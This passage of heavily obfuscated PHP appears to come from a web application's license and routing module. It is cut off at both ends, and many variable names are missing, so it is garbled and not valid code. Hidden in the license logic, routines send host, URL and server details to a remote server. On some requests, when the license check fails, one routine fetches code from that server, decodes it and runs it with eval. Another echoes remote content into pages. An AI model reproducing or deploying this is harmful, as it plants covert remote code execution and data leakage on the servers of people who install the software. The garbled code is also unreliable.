$ɰǟ = array_to_keyvalue($Ӎض, $Ǹӥ[12], $Ǹӥ[489]); $this->remove($ɰǟ); } private function shareFileMeta($܂š, $Ѧ = null) { $ɛ =& $_SERVER[ö]; $ɢ = array($ɛ[468] => $܂š, $ɛ[94] => $ɛ[2040]); if (is_null($Ѧ)) { return Model($ɛ[2041])->where($ɢ)->find(); } $ɢ[$ɛ[374]] = $Ѧ; Model($ɛ[2041])->add($ɢ, array(), !0); } } goto e; B͌: define($_SERVER[ö][0], $_SERVER[ö][1]); $_SERVER[ۮݐ] = explode($_SERVER[ö][2], gzinflate(substr($_SERVER[ö][3], 10, -8))); function binCheckEq($ߛ, $) { return $ߛ == $; } goto DК; Eį: class Application { private $defaultModule = "\x69\x6e\144\145\170"; private $defaultController = "\x69\156\x64\145\170"; private $defaultAction = "\x69\156\144\145\x78"; function __construct() { } public function setDefault($䫵) { $Ŕ =& $_SERVER[ö]; $ե =& $_SERVER[¤]; $ = explode($ե[0], trim($䫵, $ե[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $this->defaultController = $[1] ? $[1] : $this->defaultController; $ӆ = $Ŕ[620]; if (!$ӆ) { return; } $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->wcaqa624b2a8($ե[1], array($this, $ե[2])); $Ѱǭ = $Ŕ[621]; if (strlen($Ѱǭ) < $Ŕ[615]) { return; } } public function appRun($) { $ =& $_SERVER[¤]; $ֳ = explode($[0], $); $ = strtolower($ֳ[0]); $lj = $[3]; if ($ == $[4]) { $lj = $[5]; $ֳ[0] = $[6]; $ֳ[1] = $ֳ[1] . $[7]; $ = join($[0], $ֳ); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $lj . $[10], $); ActionCall($); call_user_func(array($[8], $[9]), $lj . $[11], $); } private function autorun() { $ =& $_SERVER[ö]; $ =& $_SERVER[¤]; global $config; $鶓 = $[622]; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ʍö => $) { $this->appRun($); $؊ = $[623]; if (strlen($؊) < $[624]) { return; } } } private function fjuv99c90150() { $ =& $_SERVER[¤]; $ = $[4]; $ = $GLOBALS[$[13]][$[14]][0]; if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $Ҁ = substr($, 0, -strlen($)); $ = array($[4], $Ҁ); $ݷ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($, $ݷ); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $đ = $_SERVER[ö][625]; } private function ucorcb79ad42() { $ =& $_SERVER[ö]; $ᵞԼ =& $_SERVER[¤]; if ($GLOBALS[$ᵞԼ[13]][$ᵞԼ[15]] != $ᵞԼ[6]) { return; } $DZ = $_SERVER[$ᵞԼ[16]]; $մ = $ᵞԼ[17]; if (!strstr($DZ, $մ)) { return; } $ޚ꺳 = strrpos($DZ, $մ); $˹ԙ = $[626]; if (strlen($˹ԙ) < $[615]) { die; } $ۺ = substr($DZ, $ޚ꺳 + strlen($մ)); $Վݙ = $[627]; preg_match_all($ᵞԼ[18], $ۺ, $); $͑ = $[628]; $ۺ = trim($[0][0], $ᵞԼ[19]); $GLOBALS[$ᵞԼ[13]][$ᵞԼ[14]] = explode($ᵞԼ[19], $ۺ); $ = $[629]; while ($ < $[630]) { if ($ >= 0) { break; } $++; } $GLOBALS[$ᵞԼ[13]][$ᵞԼ[15]] = implode($ᵞԼ[0], $GLOBALS[$ᵞԼ[13]][$ᵞԼ[14]]); $ = $[631]; } public function run() { $ =& $_SERVER[ö]; $Ǧ =& $_SERVER[¤]; $this->ucorcb79ad42(); $this->fjuv99c90150(); $ = $GLOBALS[$Ǧ[13]][$Ǧ[14]]; $Ϯ = $[632]; if (!$Ϯ) { return; } $Ə = $GLOBALS[$Ǧ[13]][$Ǧ[15]]; $ߚ = $[633]; if (!$ߚ) { return; } define($Ǧ[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $Ǭ = $[634]; if (strlen($Ǭ) < $[624]) { return; } define($Ǧ[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); $ = $[635]; while ($ < $[636]) { if ($ >= 0) { break; } $++; } define($Ǧ[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $ = $[637]; while ($ < $[630]) { if ($ >= 0) { break; } $++; } define($Ǧ[23], MOD . $Ǧ[0] . ST . $Ǧ[0] . ACT); $˂ = $[638]; if (!$˂) { return; } $_SERVER[$Ǧ[24]] = strtolower(ACTION); $this->autorun(); $ = $[639]; if (count($) >= 3) { $this->appRun($Ə); } else { $this->appRun(ACTION); } } private $hpbs9e38be83 = array(); private $ndkae0d095ed = ''; public function nskh4f7f17df() { $ڮ =& $_SERVER[ö]; $ =& $_SERVER[¤]; $this->wnep1f831d72(); $this->omqsc66b4812(); $̛ = $ڮ[640]; $this->royzbb08121f(); $this->sxnbf984b73a(); $ԓ = $ڮ[641]; if (strlen($ԓ) < $ڮ[624]) { die; } $this->nouw24f4a67b(); $ȉ = $ڮ[642]; $this->qpyfe618a02a(); $this->slcmc41dfea9(); $Σ = $ڮ[643]; $this->wcaqa624b2a8($[25], array($this, $[26])); $ɼ = $ڮ[644]; if (strlen($ɼ) < $ڮ[624]) { die; } $this->wcaqa624b2a8($[27], array($this, $[28])); $this->wcaqa624b2a8($[29], array($this, $[30])); $ = $ڮ[645]; while (strlen($) < $ڮ[615]) { if (!$) { break; } $++; } $this->wcaqa624b2a8($[31], array($this, $[32])); } public function qaghb2edc217($֕) { $̎ =& $_SERVER[ö]; $ =& $_SERVER[¤]; $ؔ = Model($[33])->get(); $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); foreach ($ as $) { $δ = $GLOBALS[$[85]][$[86]][$]; if (isset($ؔ[$])) { $δ = $ؔ[$]; } $֕[$[87]][$[88]][$] = $δ; } $ = $֕[$[87]][$[88]][$[46]]; $ = $̎[646]; if (strlen($) < $̎[624]) { die; } unset($֕[$[87]][$[89]][$[90]]); $ۆ = $̎[647]; while ($ۆ < $̎[630]) { if ($ۆ >= 0) { break; } $ۆ++; } unset($֕[$[87]][$[89]][$[91]]); unset($֕[$[87]][$[88]][$[46]]); $Ȯ = $̎[648]; if (strlen($Ȯ) < $̎[624]) { return; } unset($֕[$[87]][$[88]][$[92]]); $ = $̎[649]; while ($ < $̎[630]) { if ($ >= 0) { break; } $++; } $֕[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $ = $̎[650]; if (!$) { return; } $֕[$[98]][$[99]] = Action($[100])->accessToken(); $֕[$[98]][$[101]] = md5($_SERVER[$[102]] . $ؔ[$[103]]); $֕[$[98]][$[104]] = base64_encode(serverInfo()); $֕[$[98]][$[105]] = $this->ndkae0d095ed; if ($ؔ[$[105]] != $[106]) { $֕[$[98]][$[107]] = $ؔ[$[107]]; $֕[$[98]][$[108]] = $ؔ[$[108]]; $ = rand_string(10) . $this->ndkae0d095ed . rand_string(5); $֕[$[87]][$[109]][$[110]] = $this->mzqlbb1824f8($, $֕[$[98]][$[101]]); } if ($this->ndkae0d095ed == $[106]) { $֕[$[87]][$[88]][$[93]][$[97]] = 0; } $֕[$[98]][$[111]] = _get($this->hpbs9e38be83, $[112], $[6]); $֕[$[98]][$[113]] = _get($this->hpbs9e38be83, $[114], $[6]); $ = $̎[651]; while ($ < $̎[615]) { if ($ >= 0) { break; } $++; } if (_get($GLOBALS, $[115]) && $this->config[$[116]]) { $֕[$[98]][$[117]] = WEB_ROOT; } return $֕; } private function qpyfe618a02a() { $ըՍ =& $_SERVER[ö]; $ =& $_SERVER[¤]; $ = $_SERVER[$[24]] == $[118]; if ($_SERVER[$[24]] == $[119] && $_GET[$[120]] == $[121]) { $ = !0; } if ($) { $ϡԚ = array($[105] => $this->ndkae0d095ed, $[122] => $this->uclx55b5fdf2(), $[123] => Model($[124])->count()); if ($this->ndkae0d095ed != $[106]) { $ʍ = _get($this->hpbs9e38be83, $[125]); if ($ʍ) { $ϡԚ[$[126]] = $ʍ; $ϡԚ[$[127]] = strtotime(_get($this->hpbs9e38be83, $[128])); $ϡԚ[$[129]] = _get($this->hpbs9e38be83, $[114]); } $̕ = Model($[33])->get($[130], $[6], !0); if (is_string($̕) && substr($̕, 0, 1) == $[131]) { $̕ = json_decode_force($̕); } if (is_array($̕) && $̕[$[132]] && strstr($̕[$[132]], $[133])) { $ = explode($[133], $̕[$[132]]); $ϡԚ[$[134]] = $[0]; } } $ϡԚ = $this->kqgwf557211e(json_encode($ϡԚ), md5($[135])); $ݥ = $ըՍ[652]; if (strlen($ݥ) < $ըՍ[615]) { return; } $̃𰏗 = array($[136] => $ϡԚ); $ɣ룺 = $ըՍ[653]; if (!$ɣ룺) { die; } call_user_func(array($[137], $[138]), $̃𰏗); } if ($this->ndkae0d095ed == $[106]) { return; } $˹ = array($[139], $[140], $[141], $[142], $[143], $[144]); $ߔ = Model($[33])->get(); $̃𰏗 = array($[145] => $ߔ[$[34]], $[146] => $ߔ[$[35]], $[147] => $[6]); foreach ($˹ as $Ł) { if (!isset($ߔ[$Ł]) || !$ߔ[$Ł]) { continue; } $̃𰏗[$Ł] = $ߔ[$Ł]; } call_user_func(array($[137], $[138]), $̃𰏗); $Ӕߴ = $ըՍ[654]; } private function sxnbf984b73a() { $ =& $_SERVER[ö]; $ =& $_SERVER[¤]; if ($_SERVER[$[24]] != $[148]) { return; } if (!_get($GLOBALS, $[115])) { die; } $؞Ú = $GLOBALS[$[13]]; if (isset($؞Ú[$[149]])) { $this->oqyle78ade0a(); die; } if (!isset($؞Ú[$[150]]) || strlen($؞Ú[$[150]]) != 16) { show_json($[151] . $؞Ú[$[150]], !1); } $٤ = Model($[33])->get($[103]); $̈ = md5($_SERVER[$[102]] . $٤); $ = array($[150] => $؞Ú[$[150]], $[152] => rand_string(16), $[153] => $[135], $[154] => $[155], $[156] => $_SERVER[$[157]], $[158] => $_SERVER[$[159]], $[160] => $_SERVER[$[161]], $[101] => $̈, $[162] => Model($[33])->get($[130])); if ($؞Ú[$[163]] == $[164]) { $ = $this->kqgwf557211e($̈, $[165]); $ = $this->mzqlbb1824f8(json_encode($), $̈ . $[166], 3); $ = $ . $[167] . $_SERVER[$[157]]; $墨 = $this->lerd2bcbae59($[168] . $ . $[169] . $, -1); show_json($墨, !0); } else { if ($؞Ú[$[163]] == $[170]) { $ = substr(md5($[171] . $̈), 12, 15) . $[172]; $ = $this->lkwfa356961a(trim($؞Ú[$[173]]), $, 2); $ʔ = json_decode($, !0); if (!is_array($ʔ) || !is_array($ʔ[$[174]]) || $ʔ[$[150]] != !0) { $ƅ = $[175]; $ڊ = $ʔ[$[174]] ? $[176] . $ʔ[$[174]] : $ƅ; show_json($ڊ, !1); } else { $[$[152]] = $ʔ[$[174]][$[177]]; } } else { $ʔ = $this->lerd2bcbae59($[178], $, 10); $꯱ǘ = $[655]; } } if (!is_array($ʔ) || !is_array($ʔ[$[174]]) || $ʔ[$[150]] != !0) { $ƅ = LNG($[179]); $ڊ = $ʔ[$[174]] ? $[176] . $ʔ[$[174]] : $ƅ; show_json($ڊ, !1); } $̭ = $ʔ[$[174]]; $漴 = $this->exbp9a4001da($̭[$[180]]); $Ƅ = $[656]; if (strlen($Ƅ) < $[630]) { die; } if (!$漴 || $漴 != $̭[$[128]]) { $ʐ = array($[181] => Model($[33])->get($[103]), $[182] => $_SERVER[$[102]], $[183] => this_url(), $[158] => $_SERVER[$[159]]); $ = $this->kvon292c5ba3(json_encode($ʐ)); $this->lerd2bcbae59($[184] . $); show_json(LNG($[185]), !0); } $ś = array($[186] => $̭[$[187]], $[188] => $̭[$[189]], $[190] => rand_string(16), $[105] => $̭[$[191]]); if ($[$[152]]) { $ś[$[190]] = $[$[152]]; } $ŗ = substr(md5($ś[$[188]]), 10, 10); $ = $ŗ . $ś[$[105]] . $ś[$[190]]; $ѫ = $[657]; while (strlen($ѫ) < $[619]) { if (!$ѫ) { break; } $ѫ++; } $ś[$[107]] = strrev(base64_encode($this->kqgwf557211e($, $[192]))); $ = $[658]; $ޭ = rand_string(16); $ݯ֒ = $ޭ . $ś[$[105]] . $this->kqgwf557211e(md5($ś[$[186]]), $ޭ); $ܘ = $[659]; while (strlen($ܘ) < $[630]) { if (!$ܘ) { break; } $ܘ++; } $ś[$[108]] = base64_encode(strrev($this->kqgwf557211e($ݯ֒, $[193]))); if ($̭[$[194]] && $̭[$[194]] >= 1) { Model($[33])->setDeep($[195], $[121]); } Model($[33])->set($ś); $ߝ = md5($_SERVER[$[102]] . strrev($٤) . $ś[$[188]]); $ = $[660]; $ū = strrev(substr($ߝ, 10, 16)); $囥 = $[661]; if (!$囥) { return; } $ϕ = $this->mzqlbb1824f8(json_encode($̭), $ߝ); $Ѭ = array_to_keyvalue(Model($[7])->listData(), $[196]); $ = $[662]; if (!$) { return; } $ٌ = $Ѭ[$[197]]; $ؙ = $[663]; $岑 = array(); $岑[$ū] = $ϕ; $ = $[664]; if (strlen($) < $[630]) { return; } Model($[7])->update($ٌ[$[198]], array($[199] => $岑)); $߬ = $[665]; if (strlen($߬) < $[615]) { return; } $this->hpbs9e38be83 = $̭; $ͭ = $[666]; while ($ͭ < $[624]) { if ($ͭ >= 0) { break; } $ͭ++; } $this->ndkae0d095ed = $ś[$[105]]; $this->licenseRegistSuccess(); $ = $[667]; while (strlen($) < $[630]) { if (!$) { break; } $++; } Cache::set($[200] . md5($٤ . $[201]), $[6]); show_json(LNG($[185]), !0); $ͥ = $[668]; while ($ͥ < $[630]) { if ($ͥ >= 0) { break; } $ͥ++; } } private function licenseRegistSuccess() { $˫ =& $_SERVER[¤]; $ꭶ = Model($˫[33])->get(); if ($ꭶ[$˫[63]] != $˫[121]) { Model($˫[33])->set($˫[63], $˫[121]); } Action($˫[202])->initStart(!0); } private function oqyle78ade0a() { $ =& $_SERVER[ö]; $ =& $_SERVER[¤]; Model($[33])->set(array($[186] => $[6], $[188] => $[6], $[105] => $[106], $[107] => $[6], $[108] => $[6])); Model($[33])->setDeep($[195], $[203]); $this->hpbs9e38be83 = array(); $⃙ = $[669]; while (strlen($⃙) < $[624]) { if (!$⃙) { break; } $⃙++; } $this->ndkae0d095ed = $[106]; } private function wnep1f831d72() { $˼ =& $_SERVER[ö]; $ߑ =& $_SERVER[¤]; $_SERVER[$ߑ[159]] = _get($_SERVER, $ߑ[159], APP_HOST); $this->ndkae0d095ed = $ߑ[106]; $犬 = Model($ߑ[33])->get(); $ۍ = $˼[670]; if (strlen($ۍ) < $˼[615]) { return; } if ($犬[$ߑ[105]] == $ߑ[106]) { return; } $ = Model($ߑ[33])->get($ߑ[103]); $ܢ = $˼[671]; if (strlen($ܢ) < $˼[619]) { die; } $ٯ = $ߑ[200] . md5($ . $ߑ[201]); $Ԏ = $˼[672]; $ѕٱ = Cache::get($ٯ); if (!is_array($ѕٱ) || !isset($ѕٱ[$ߑ[204]]) || time() - $ѕٱ[$ߑ[204]] >= 60) { $ෳ = Model($ߑ[7])->loadList(); $ = $ෳ[$ߑ[197]]; $Dz = md5($_SERVER[$ߑ[102]] . strrev($) . $犬[$ߑ[188]]); $ = strrev(substr($Dz, 10, 16)); $ѕٱ = $this->lkwfa356961a($[$ߑ[85]][$], $Dz); $ѕٱ = json_decode($ѕٱ, !0); } if (!is_array($ѕٱ)) { return $this->oqyle78ade0a(); } $ڒ = strtotime($ѕٱ[$ߑ[128]]); if (time() >= $ڒ) { return $this->oqyle78ade0a(); } if (time() - $ѕٱ[$ߑ[204]] > 20) { $ѕٱ[$ߑ[204]] = time(); Cache::set($ٯ, $ѕٱ); } $this->hpbs9e38be83 = $ѕٱ; $this->ndkae0d095ed = $犬[$ߑ[105]]; $ò = $˼[673]; } private function omqsc66b4812() { $ =& $_SERVER[¤]; $ = $GLOBALS[$[13]]; $Ż = $_SERVER[$[24]]; if ($Ż == $[205] && $this->ndkae0d095ed == $[106]) { show_json(LNG($[206]), !1, $[207]); } $ = array($[208], $[209]); if (in_array($Ż, $)) { if ($this->ndkae0d095ed == $[106] && isset($[$[210]])) { show_json(LNG($[206]), !1, $[207]); die; } $ = $this->uclx55b5fdf2(); if ($ != intval($[211])) { if ($ <= Model($[124])->count()) { show_json(LNG($[212]), !1, $[207]); die; } } } } private function royzbb08121f() { $ܕ =& $_SERVER[ö]; $ϗ =& $_SERVER[¤]; $۲ = array($ϗ[118], $ϗ[119]); if (!_get($GLOBALS, $ϗ[115]) || !isset($_GET[$ϗ[213]])) { return; } if (!in_array($_SERVER[$ϗ[24]], $۲)) { return; } $Ͽ = $ϗ[214]; $Ԍտ = $ܕ[674]; while ($Ԍտ < $ܕ[619]) { if ($Ԍտ >= 0) { break; } $Ԍտ++; } $Ͽ = $this->cunp63e49e87($Ͽ, $ϗ[215]); $寐З = stream_context_create(array($ϗ[216] => array($ϗ[217] => $ϗ[218], $ϗ[219] => 3))); $ب = $ܕ[675]; while (strlen($ب) < $ܕ[619]) { if (!$ب) { break; } $ب++; } $ = @file_get_contents($Ͽ, !1, $寐З); $ɝ = $ܕ[676]; if (!$ɝ) { return; } header($ϗ[220]); $⦛ = $ܕ[677]; if (strlen($⦛) < $ܕ[615]) { return; } if ($ && strstr($, $ϗ[221])) { echo $; } die; } public function fyqgd0db5f5f($) { $૽˷ =& $_SERVER[¤]; if ($this->ndkae0d095ed == $૽˷[222]) { return $; } $ɪ = array($૽˷[223] => $૽˷[224], $૽˷[225] => $૽˷[224], $૽˷[226] => $૽˷[224], $૽˷[227] => $૽˷[224], $૽˷[228] => $૽˷[229], $૽˷[230] => $૽˷[229], $૽˷[231] => $૽˷[229], $૽˷[232] => $૽˷[229], $૽˷[233] => $૽˷[229], $૽˷[234] => $૽˷[229], $૽˷[235] => $૽˷[229], $૽˷[236] => $૽˷[229], $૽˷[237] => $૽˷[229], $૽˷[238] => $૽˷[229], $૽˷[239] => $૽˷[229], $૽˷[240] => $૽˷[229]); $앸 = explode($૽˷[241], _get($this->hpbs9e38be83, $૽˷[112], $૽˷[6])); $ = array(); foreach ($ɪ as $ => $ք) { if ($ք == $૽˷[224] && substr($this->ndkae0d095ed, 0, 1) == $૽˷[224]) { continue; } if (!in_array($, $앸)) { $[] = $; } } foreach ($ as $) { unset($[$]); } return $; $詤 = $_SERVER[ö][678]; if (!$詤) { die; } } private function slcmc41dfea9() { $Ǿ =& $_SERVER[¤]; if ($this->ndkae0d095ed != $Ǿ[106]) { $GLOBALS[$Ǿ[85]][$Ǿ[89]][$Ǿ[242]] = $Ǿ[203]; return; } $GLOBALS[$Ǿ[85]][$Ǿ[243]] = $Ǿ[121]; if (Model($Ǿ[244])->get($Ǿ[63]) != $Ǿ[203]) { Model($Ǿ[244])->set($Ǿ[63], $Ǿ[203]); } } public function rheq1f42ac26() { return $_SERVER[¤][245]; } private function nouw24f4a67b() { $י =& $_SERVER[ö]; $汮 =& $_SERVER[¤]; $ = array($汮[246], $汮[247], $汮[248]); $ = $汮[249] . md5($汮[250]); if ($this->ndkae0d095ed == $汮[106] || !_get($GLOBALS, $汮[115])) { return; } if (!in_array($_SERVER[$汮[24]], $)) { return; } if (time() % 4 != 0) { return; } $Ͽޘ = call_user_func(array($汮[251], $汮[252]), $); if ($Ͽޘ && time() - $Ͽޘ < intval($汮[253])) { return; } call_user_func(array($汮[251], $汮[138]), $, time()); $ = $י[679]; if (!$) { return; } $ê = Model($汮[33])->get($汮[103]); $ = array($汮[150] => Model($汮[33])->get($汮[186]), $汮[163] => $this->ndkae0d095ed, $汮[160] => $_SERVER[$汮[161]], $汮[162] => Model($汮[33])->get($汮[130]), $汮[101] => md5($_SERVER[$汮[102]] . $ê), $汮[153] => $汮[135], $汮[156] => $_SERVER[$汮[157]]); $̯ = $י[680]; $ئ = $this->lerd2bcbae59($汮[254], $); $ٳř = $י[681]; while ($ٳř < $י[619]) { if ($ٳř >= 0) { break; } $ٳř++; } if (!is_array($ئ)) { return; } if ($ئ[$汮[150]] && $ئ[$汮[255]]) { if ($this->exbp9a4001da($ئ[$汮[255]]) == $[$汮[150]]) { return; } } $this->oqyle78ade0a(); $ߩ = $י[682]; if ($this->exbp9a4001da($ئ[$汮[255]]) != $[$汮[150]]) { $ᬩ = array($汮[181] => $ê, $汮[182] => $_SERVER[$汮[102]], $汮[183] => this_url(), $汮[158] => $_SERVER[$汮[159]]); $ș = $this->kvon292c5ba3(json_encode($ᬩ)); $ئ = $this->lerd2bcbae59($汮[184] . $ș); if ($ئ && is_array($ئ) && isset($ئ[$汮[255]])) { $ = $this->lkwfa356961a($ئ[$汮[255]], 2); if ($) { $ = $this->exbp9a4001da($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function lerd2bcbae59($ = '', $ = array(), $ = 5) { $ =& $_SERVER[¤]; $Ӹ = $[256]; $Ӹ = $this->cunp63e49e87($Ӹ, $[257]); $Ӹ = $Ӹ . $; if ($ && is_array($)) { $Ӹ = $Ӹ . $[258] . http_build_query($); } if ($ === -1) { return $Ӹ; } $ʿՏ = stream_context_create(array($[216] => array($[219] => $, $[217] => $[259]), $[260] => array($[261] => !1, $[262] => !1))); $ = @file_get_contents($Ӹ, !1, $ʿՏ); return json_decode($, !0); } private function uclx55b5fdf2() { $ۓ =& $_SERVER[ö]; $ =& $_SERVER[¤]; $҉ = array($[263] => $[264], $[265] => $[266], $[267] => $[268], $[269] => $[270], $[271] => $[272], $[273] => $[211], $[274] => $[211], $[275] => $[264], $[276] => $[266], $[277] => $[268], $[278] => $[279], $[280] => $[270], $[281] => $[282], $[283] => $[272], $[284] => $[285], $[286] => $[287], $[288] => $[289]); $ƛ = $ۓ[683]; while (strlen($ƛ) < $ۓ[630]) { if (!$ƛ) { break; } $ƛ++; } $ۭӿ = $҉[$this->ndkae0d095ed]; $ڟ = $ۓ[684]; $ۭӿ = intval($ۭӿ ? $ۭӿ : $[264]); $ֶ = $ۓ[685]; if (!$ֶ) { die; } $Ǭ = _get($this->hpbs9e38be83, $[290]); $ո̕ = $ۓ[686]; if (strlen($ո̕) < $ۓ[624]) { return; } $Ǭ = $Ǭ ? intval($Ǭ) : 0; return $ۭӿ + $Ǭ; $ = $ۓ[687]; } public function uyqx225c2985($) { $뚖 =& $_SERVER[ö]; $ =& $_SERVER[¤]; $ = $this->uclx55b5fdf2(); $Ɯ = $뚖[688]; while (strlen($Ɯ) < $뚖[636]) { if (!$Ɯ) { break; } $Ɯ++; } if ($[$[291]] == $[121]) { return; } if ($ >= intval($[211])) { return; } $σ = Model($[124])->count(); $ = $뚖[689]; if (strlen($) < $뚖[630]) { return; } if ($σ <= $) { return; } $ = Model($[124])->field($[291])->limit($)->select(); $Լ = $뚖[690]; while (strlen($Լ) < $뚖[636]) { if (!$Լ) { break; } $Լ++; } $ = array_to_keyvalue($, $[6], $[291]); $Ɉ = $뚖[691]; while (strlen($Ɉ) < $뚖[619]) { if (!$Ɉ) { break; } $Ɉ++; } if (!in_array($[$[291]], $)) { show_json($[292], !1, $[207]); } } public function zvnd17fa4b1a() { $ =& $_SERVER[ö]; $ש =& $_SERVER[¤]; if (!_get($GLOBALS, $ש[115]) || mt_rand(1, 100) > 20) { return; } $ = $ש[214]; $ = $this->cunp63e49e87($, $ש[215]); $ǎ = $[692]; if (!$ǎ) { return; } $ = stream_context_create(array($ש[216] => array($ש[217] => $ש[218], $ש[219] => 3))); $ = @file_get_contents($, !1, $); echo $ש[293] . hash_encode($) . $ש[294]; $ = $[693]; if (strlen($) < $[636]) { return; } } private function mzqlbb1824f8($Ճ, $Ӹ, $龹 = 3) { $Ձ =& $_SERVER[ö]; $Ѿ =& $_SERVER[¤]; usleep(1); $ = $Ձ[694]; $Ճ = trim($Ճ); $ŗ = mt_rand(0, 5) . $Ѿ[6]; $ = $Ձ[676]; if (!$) { die; } $ = rand_string(15); $̤ = $Ѿ[295]; switch ($ŗ) { case $Ѿ[203]: $𫸉 = $this->kqgwf557211e($Ճ, strrev($Ӹ . $)); $֛ = $Ձ[695]; break; $ˌ큦 = $Ձ[696]; case $Ѿ[121]: $𫸉 = $this->kqgwf557211e($Ճ, strrev($ . $Ӹ)); $앞 = $Ձ[697]; while ($앞 < $Ձ[615]) { if ($앞 >= 0) { break; } $앞++; } break; $ϰ = $Ձ[698]; while (strlen($ϰ) < $Ձ[636]) { if (!$ϰ) { break; } $ϰ++; } case $Ѿ[296]: $𫸉 = $this->kqgwf557211e($Ճ, base64_encode($ . $Ӹ)); break; $ = $Ձ[699]; while ($ < $Ձ[619]) { if ($ >= 0) { break; } $++; } case $Ѿ[297]: $𫸉 = $this->kqgwf557211e($Ճ, md5($ . $Ӹ)); break; $黓 = $Ձ[700]; case $Ѿ[298]: $Ճ = base64_encode($Ճ); $եƸ = $Ձ[701]; if (!$եƸ) { die; } $ϝܖ = rand(0, 64); $ = $Ձ[702]; $ = $̤[$ϝܖ]; $ = md5($ . md5($Ӹ . $) . $Ӹ); $ = substr($, $ϝܖ % 8, $ϝܖ % 8 + 7); $ԡ = $Ѿ[6]; $ɫ۴ = 0; $ = $Ձ[703]; if (strlen($) < $Ձ[619]) { die; } $δ = 0; $ = $Ձ[704]; if (strlen($) < $Ձ[624]) { return; } $ϐ = 0; for ($ɫ۴ = 0; $ɫ۴ < strlen($Ճ); $ɫ۴++) { $ϐ = $ϐ == strlen($) ? 0 : $ϐ; $δ = ($ϝܖ + strpos($̤, $Ճ[$ɫ۴]) + ord($[$ϐ++])) % 64; $ = $Ձ[705]; $ԡ .= $̤[$δ]; $Й = $Ձ[706]; if (!$Й) { return; } } $𫸉 = hash_encode($ . $ԡ); break; $ = $Ձ[707]; while (strlen($) < $Ձ[619]) { if (!$) { break; } $++; } default: $𫸉 = $this->kqgwf557211e($Ճ, $Ӹ . $); break; } $𫸉 = strrev($ŗ . $ . $𫸉); if ($龹 - 1 > 0) { $𫸉 = $this->mzqlbb1824f8($𫸉, $Ӹ, $龹 - 1); } return $𫸉; } private function lkwfa356961a($ŵ, $, $곱 = 3) { $غ =& $_SERVER[ö]; $ =& $_SERVER[¤]; if (!is_string($ŵ) || strlen($ŵ) < 10) { return !1; } $ŵ = trim($ŵ); $㠖 = $غ[708]; if (!$㠖) { die; } $ŵ = strrev($ŵ); $ŧ׆ = $غ[709]; while (strlen($ŧ׆) < $غ[615]) { if (!$ŧ׆) { break; } $ŧ׆++; } $ = $ŵ[0]; $ = substr($ŵ, 1, 15); $ = $غ[710]; $ŵ = substr($ŵ, 16); $ꐍ = $[295]; $Ė = $غ[711]; while (strlen($Ė) < $غ[630]) { if (!$Ė) { break; } $Ė++; } switch ($) { case $[203]: $̞ = $this->cunp63e49e87($ŵ, strrev($ . $)); $ = $غ[712]; break; case $[121]: $̞ = $this->cunp63e49e87($ŵ, strrev($ . $)); $ = $غ[713]; if (strlen($) < $غ[615]) { die; } break; $鹇 = $غ[714]; if (strlen($鹇) < $غ[615]) { return; } case $[296]: $̞ = $this->cunp63e49e87($ŵ, base64_encode($ . $)); $֤ = $غ[715]; if (strlen($֤) < $غ[636]) { die; } break; $䱫 = $غ[716]; while ($䱫 < $غ[619]) { if ($䱫 >= 0) { break; } $䱫++; } case $[297]: $̞ = $this->cunp63e49e87($ŵ, md5($ . $)); break; case $[298]: $ŵ = hash_decode($ŵ); $ = $غ[717]; while ($ < $غ[624]) { if ($ >= 0) { break; } $++; } $⬑ = $ŵ[0]; $ŵ = substr($ŵ, 1); $ = $غ[718]; if (!$) { return; } $پ = strpos($ꐍ, $⬑); $ = $غ[719]; if (!$) { die; } $ = md5($⬑ . md5($ . $⬑) . $); $ = substr($, $پ % 8, $پ % 8 + 7); $ = $غ[720]; if (strlen($) < $غ[615]) { die; } $٘ = $[6]; $ޡ = $غ[721]; while ($ޡ < $غ[630]) { if ($ޡ >= 0) { break; } $ޡ++; } $ҫ = 0; $˂ = $غ[722]; if (strlen($˂) < $غ[636]) { return; } $ל = 0; $ = 0; $ë = $غ[723]; for ($ҫ = 0; $ҫ < strlen($ŵ); $ҫ++) { $ = $ == strlen($) ? 0 : $; $ל = $++; $ = $غ[724]; if (strlen($) < $غ[619]) { return; } $ל = strpos($ꐍ, $ŵ[$ҫ]) - $پ - ord($[$ל]); $̨ = $غ[725]; while (strlen($̨) < $غ[636]) { if (!$̨) { break; } $̨++; } while ($ל < 0) { $ל += 64; $ = $غ[726]; } $٘ .= $ꐍ[$ל]; } $̞ = base64_decode($٘); $ = $غ[727]; while (strlen($) < $غ[624]) { if (!$) { break; } $++; } break; $ = $غ[728]; while (strlen($) < $غ[624]) { if (!$) { break; } $++; } default: $̞ = $this->cunp63e49e87($ŵ, $ . $); break; $ = $غ[729]; } if ($곱 - 1 > 0) { $̞ = $this->lkwfa356961a($̞, $, $곱 - 1); } return $̞; } public function kvon292c5ba3($øخ) { $ =& $_SERVER[ö]; $۹ =& $_SERVER[¤]; $ = $this->rtnic2a1610b(); $ = $this->rtnic2a1610b(); $̞ = ($ - 1) * ($ - 1); $꞊ = $[730]; while (strlen($꞊) < $[624]) { if (!$꞊) { break; } $꞊++; } $ެ = intval(($ + $) / 2); $ = $[731]; if (strlen($) < $[615]) { die; } while (1) { $ڔ = $ެ; $̩ = $̞; while ($̩ % $ڔ != 0) { $Ձ٩ = $̩; $ɏٲ = $[732]; if (!$ɏٲ) { die; } $̩ = $ڔ; $ = $[733]; while 